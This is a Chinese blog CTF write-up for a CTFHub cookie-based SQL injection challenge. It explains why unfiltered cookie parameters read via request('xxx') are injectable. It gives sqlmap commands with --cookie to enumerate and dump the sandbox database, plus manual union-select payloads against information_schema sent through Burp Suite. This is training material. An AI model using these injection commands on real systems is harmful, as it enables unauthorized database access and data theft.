ctf题解——sql注入(cookie注入)

1.知识点

  cookie注入的原理是:就要修改cookie的值,我们是将提交的参数已cookie方式提交了,而一般的注入我们是使用get或者post方式提交,get方式提交就是直接在网址后面加上需要注入的语句,post则是通过表单方式,get和post的不同之处就在于一个我们可以通过IE地址栏处看到我们提交的参数,而另外一个却不能。

  相对post和get方式注入来说,cookie注入就要稍微繁琐一些了,要进行cookie注入,我们首先就要修改cookie,这里就需要使用到Javascript语言了。

  cookie注入的两个必须条件:

    条件1是:程序对get和post方式提交的数据进行了过滤,但未对cookie提交的数据库进行过滤。

    条件2是:在条件1的基础上还需要程序对提交数据获取方式是直接request("xxx")的方式,未指明使用request对象的具体方法进行获取,也就是说用request这个方法的时候获取的参数可以是是在URL后面的参数也可以是cookie里面的参数这里没有做筛选,之后的原理就像我们的sql注入一样了。

cookie注入分为以下几个阶段:

   1. 判断是不是注入点

   2.得到字段总数

   3.查选表名

       4.查选列名

       5.查内容

 

2.题解

方法一 sqlmap自动注入

python sqlmap.py -u "http://challenge-38d00693d21d6ccc.sandbox.ctfhub.com:10080" --cookie "id=1" --dbs --level 2
 
python sqlmap.py -u "http://challenge-38d00693d21d6ccc.sandbox.ctfhub.com:10080" --cookie "id=1" -D sqli --tables --level 2
 
python sqlmap.py -u "http://challenge-38d00693d21d6ccc.sandbox.ctfhub.com:10080" --cookie "id=1" -D sqli -T frkadyqcec --columns --dump --level 2
 

语句一爆破出库名“sqli”

语句二--查表名

语句三--查列名

方法二 burpsuite手动注入

 使用burpsuite进行抓包

找到注入点,进行注入

注入语句一,获得数据库123+union+select+database(),2#;

注入语句二,获得表名123 union select group_concat(table_name),2 from information_schema.tables where table_schema='sqli' #

 

注入语句三,获得列名123+union+select+group_concat(column_name),2 from information_schema.columns where table_schema='sqli' and table_name='prcvrbljct' #

 

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值